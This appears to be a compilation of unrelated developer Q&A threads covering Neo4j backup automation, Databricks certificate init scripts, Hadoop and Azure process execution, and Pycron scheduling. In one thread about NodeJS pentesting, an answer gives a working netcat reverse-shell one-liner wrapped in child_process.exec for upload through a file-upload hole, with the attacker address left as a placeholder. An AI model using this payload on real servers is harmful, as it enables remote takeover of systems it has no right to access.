I have a ReactJS-neo4j application, deployed on a cloud server. Currently, i create backups of my databases manually.
Now I want to automate this process. I want to automatically execute the above query every day
Can anyone tell me how to automate the above process ?
You need to change your neo4j configuration file found in <HOME_neo4j>/conf/neo4j.conf as below. The location of the file is different if you are not using Linux server, like Debian.
apoc.export.file.enabled=true
apoc.import.file.use_neo4j_config=false
The 2nd line will enable you to save the json file from default folder "import" to any folder you want.
Then open a terminal (or ssh) that connects to your cloud server. Go to <HOME_neo4j> directory where cypher-shell is installed. Copy and run this one liner script below.
echo "CALL apoc.export.json.all(\"/home/backups/deploymentName/backup_mydeployment.json\", { useTypes: true } )" | bin/cypher-shell -u neo4j -p <awesome_psw> --format plain
This will save the json file in /home/backups/deploymentName just like what you do in your neo4j browser.
I will leave it up to you on 1) how to add the timestamp YYMMDD0000_ in the filename via linux command and 2) schedule the job every midnight via crontab. Goodluck!

Ok, it is very strange. I have some init scripts that I would like to run when a cluster starts
cluster has the init script , which is in a file (in dbfs)
basically this
dbfs:/databricks/init-scripts/custom-cert.sh
Now , when I make the init script like this, it works (no ssl errors for my endpoints. Also, the event logs for the cluster shows the duration as 1 second for the init script
dbutils.fs.put("/databricks/init-scripts/custom-cert.sh", """#!/bin/bash
cp /dbfs/orgcertificates/orgcerts.crt /usr/local/share/ca-certificates/
sudo update-ca-certificates
echo "export REQUESTS_CA_BUNDLE=/etc/ssl/certs/ca-certificates.crt" >> /databricks/spark/conf/spark-env.sh
""")
However, if I just put the init script in an bash script and upload it to DBFS through a pipeline, the init script does not do anything. It executes , as per the event log but the execution duration is 0 sec.
I have the sh script in a file named
custom-cert.sh
with the same contents as above, i.e.
#!/bin/bash
cp /dbfs/orgcertificates/orgcerts.crt /usr/local/share/ca-certificates/
sudo update-ca-certificates
echo "export REQUESTS_CA_BUNDLE=/etc/ssl/certs/ca-certificates.crt"
but when I check /usr/local/share/ca-certificates/ , it does not contain /dbfs/orgcertificates/orgcerts.crt, even though the cluster init script has run.
Also, I have compared the contents of the init script in both cases and it least to the naked eye, I can't figure out any difference
i.e.
%sh
cat /dbfs/databricks/init-scripts/custom-cert.sh
shows the same contents in both the scenarios. What is the problem with the 2nd case?
EDIT: I read a bit more about init scripts and found that the logs of init scripts are written here
%sh
ls /databricks/init_scripts/
Looking at the err file in that location, it seems there is an error
sudo: update-ca-certificates
: command not found
Why is it that update-ca-certificates found in the first case but not when I put the same script in a sh script and upload it to dbfs (instead of executing the dbutils.fs.put within a notebook) ?
EDIT 2: In response to the first answer. After running the command
dbutils.fs.put("/databricks/init-scripts/custom-cert.sh", """#!/bin/bash
cp /dbfs/orgcertificates/orgcerts.crt /usr/local/share/ca-certificates/
sudo update-ca-certificates
echo "export REQUESTS_CA_BUNDLE=/etc/ssl/certs/ca-certificates.crt" >> /databricks/spark/conf/spark-env.sh
""")
the output is the file custom-cert.sh and then I restart the cluster with the init script location as dbfs:/databricks/init-scripts/custom-cert.sh and then it works. So, it is essentially the same content that the init script is reading (which is the generated sh script). Why can't it read it if I do not use dbfs put but just put the contents in bash file and upload it during the CI/CD process?
As we aware, An init script is a shell script that runs during startup of each cluster node before the Apache Spark driver or worker JVM start. case-2 When you run bash
command by using of %sh magic command means you are trying to execute this command in Local driver node. So that workers nodes is not able to access . But based on
case-1 , By using of %fs magic command you are trying run copy command (dbutils.fs.put )from root . So that along with driver node , other workers node also can access path .
Ref : https://docs.databricks.com/data/databricks-file-system.html#summary-table-and-diagram
It seems that my observations I made in the comments section of my question is the way to go.
I now create the init script using a databricks job that I run during the CI/CD pipeline from Azure DevOps.
The notebook has the commands
dbutils.fs.rm("/databricks/init-scripts/custom-cert.sh")
dbutils.fs.put("/databricks/init-scripts/custom-cert.sh", """#!/bin/bash
cp /dbfs/internal-certificates/certs.crt /usr/local/share/ca-certificates/
sudo update-ca-certificates
echo "export REQUESTS_CA_BUNDLE=/etc/ssl/certs/ca-certificates.crt" >> /databricks/spark/conf/spark-env.sh
""")
I then create a Databricks job (pointing to this notebook), the cluster is a job cluster which is just temporary . Of course , in my case , even this job creation is automated using a powershell script.
I then call this Databricks job in the release pipeline using again a Powershell script.
This creates the file
/databricks/init-scripts/custom-cert.sh
I then use this file in any other cluster that accesses my org's endpoints (without certificate errors).
I do not know (or still understand), why can't the same script file be just part of a repo and uploaded during the release process (instead of it being this Databricks job calling a notebook). I would love to know the reason . The other answer on this question does not hold true as you can see, that the cluster script is created by a job cluster and then accessed from another cluster as part of its init script.
It simply boils down to how the init script gets created.
But I get my job done. Just if it helps someone get their job done too.
I have raised a support case though to understand the reason.
i'm trying to learn NodeJS pentesting process i have a found a remote file upload vulnerability in a Nodejs website ,can i upload a remote shell in NodeJS , like we do in PHP or ASPX and execute command ? can i upload a NodeJS shell.js and execute unix command in the server from this shell ?
Not sure if this is what you're looking for, but if you have the ability to upload a NodeJS script to a server and execute it, then yes, you can run shell commands using child_process.exec (see here for a similar question/answer).
It's possible only if you can "EXECUTE" the file.
But if you can "execute" JavaScript code you could create a reverse shell using this:
(function () {
require("child_process")
.exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <attackerIP> <attackerPort> >/tmp/f')
})()]
Otherwise if you can't execute the file then you only will see the content of the file:

This question is related to Hadoop on Azure environment.
I am trying to use Runtime.exec() to execute a batch script in the reduce function. I could not get this running in Hadoop on Azure environment while it runs fine in the Hadoop on Linux. I tested the Runtime.exec() code snippet in my desktop (windows 7) environment and it runs fine there. I have made sure that I consume the output and error streams of the sub-process after Runtime.exec().
The batch script contains the below ( a single command):
c:\hdfs\mapred\local\taskTracker\nabeel\jobcache\job_201207121317_0024\attempt_201207121317_0024_r_000001_0\work\tool.exe
-f c:\hdfs\mapred\local\taskTracker\nabeel\jobcache\job_201207121317_0024\work\11_task_201207121317_0024_r_000001.out
-i c:\hdfs\mapred\local\taskTracker\nabeel\jobcache\job_201207121317_0024\attempt_201207121317_0024_r_000001_0\work\input.txt
I distribute the tool.exe and input.txt files using Distributed cache and it creates a symlink from the working directory. tool.exe and input.txt points to the actual files in the jobcache directory.
2012-07-16 04:31:51,613 INFO org.apache.hadoop.mapred.TaskRunner: Creating symlink: /hdfs/mapred/local/taskTracker/distcache/-978619214658189372_-1497645545_209290723/10.73.50.78tool.exe <- \hdfs\mapred\local\taskTracker\nabeel\jobcache\job_201207121317_0024\attempt_201207121317_0024_r_000001_0\work\tool.exe

The reducer gives the below error when it runs.
Command Execution Error: Cannot run program
"cmd /q /c c:\hdfs\mapred\local\taskTracker\nabeel\jobcache\job_201207121317_0024\work\11_task_201207121317_0024_r_0000011513543720767963399.bat":
CreateProcess error=2, The system cannot find the file specified
In another case, I tried running the same but without using the absolute paths.. The output stream from the sub-process is shown below:
c:\hdfs\mapred\local\taskTracker\nabeel\jobcache\job_201207121317_0022\attempt_201207121317_0022_r_000000_0\work>tool.exe -f /hdfs/mapred/local/taskTracker/nabeel/jobcache/job_201207121317_0022/work/1_task_201207121317_0022_r_000000.out
-i input.txt
I do not know how the job working directory paths and distributed cache works in Hadoop on Azure environment. Could you please let me know if I am missing something here (or) there is something I need to take care of while using Runtime.exec() in Hadoop on Azure environment.
Thanks,

I am not familiar with Hadoop. But the error message seems to be obvious. It would be better if you can check whether the file exists.
c:\hdfs\mapred\local\taskTracker\nabeel\jobcache\job_201207121317_0024\work\11_task_201207121317_0024_r_0000011513543720767963399.bat

i'm trying to run a simple executable using an Azure Web Role.
The executable is stored in the Web Role's local storage.
The executable produces a log.txt file once it has been run.
This is the method I am using to run the executable:
public void RunExecutable(string path)
{
Process.Start(path);
}
Where path is localStorage.RootPath + "Application.exe"
The problem I am facing is that when I open the local storage folder the executable is there however there is no log.txt file.
I have tested the executable, it works if I manually run it, it produces the log.txt file.
Can anyone see the problem?
Try setting an explicit WorkingDirectory for the process... I wonder if log.txt is being created, just not where you expect. (Or perhaps the app is trying to create log.txt but failing because of the permissions on the directory it's trying to create it in.)
If you remote desktop into the instance, can't you find the file created at E:\approot\ folder ? As Steve said, using a WorkingDirectory for the process will fix the issue
You can use Environment.GetEnvironmentVariable("RoleRoot") to construct the URL to your application root
Hi I test my web on my localhost(winxp+ie8+mysql5.0.51a+PHP 5.2.11+Apache 2.2.13). I want to add some cron job for my php files. I select Pycron. After configuration, I add some command in crontab.txt * * * * * "C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://localhost/test/index1.php. It is success, it will open IEXPLORE.EXE and load index1.php for every minute. But it still open the IEXPLORE windows, not for close. how to set it automatic finish the php job, then close the IEXPLORE windows? thanks.
how about using a command-line utility such as Curl or wget: http://gnuwin32.sourceforge.net/packages/wget.htm? Or use Python with urllib/urllib2?
To fire a local PHP event through Pycron, you'll want to do something like this:
First create a new task. Then for the "Command" box in Pycron, enter the location of your PHP.exe file, eg "C:\Program Files (x86)\PHP\v5.3\php.exe"
for the "Parameters" box enter the location of the php file you want to run eg "C:\websites\mysite.com\cron.php"
You don't want to run any of that through Internet Explorer. Fire it directly at the PHP executable. Your server will thank you.
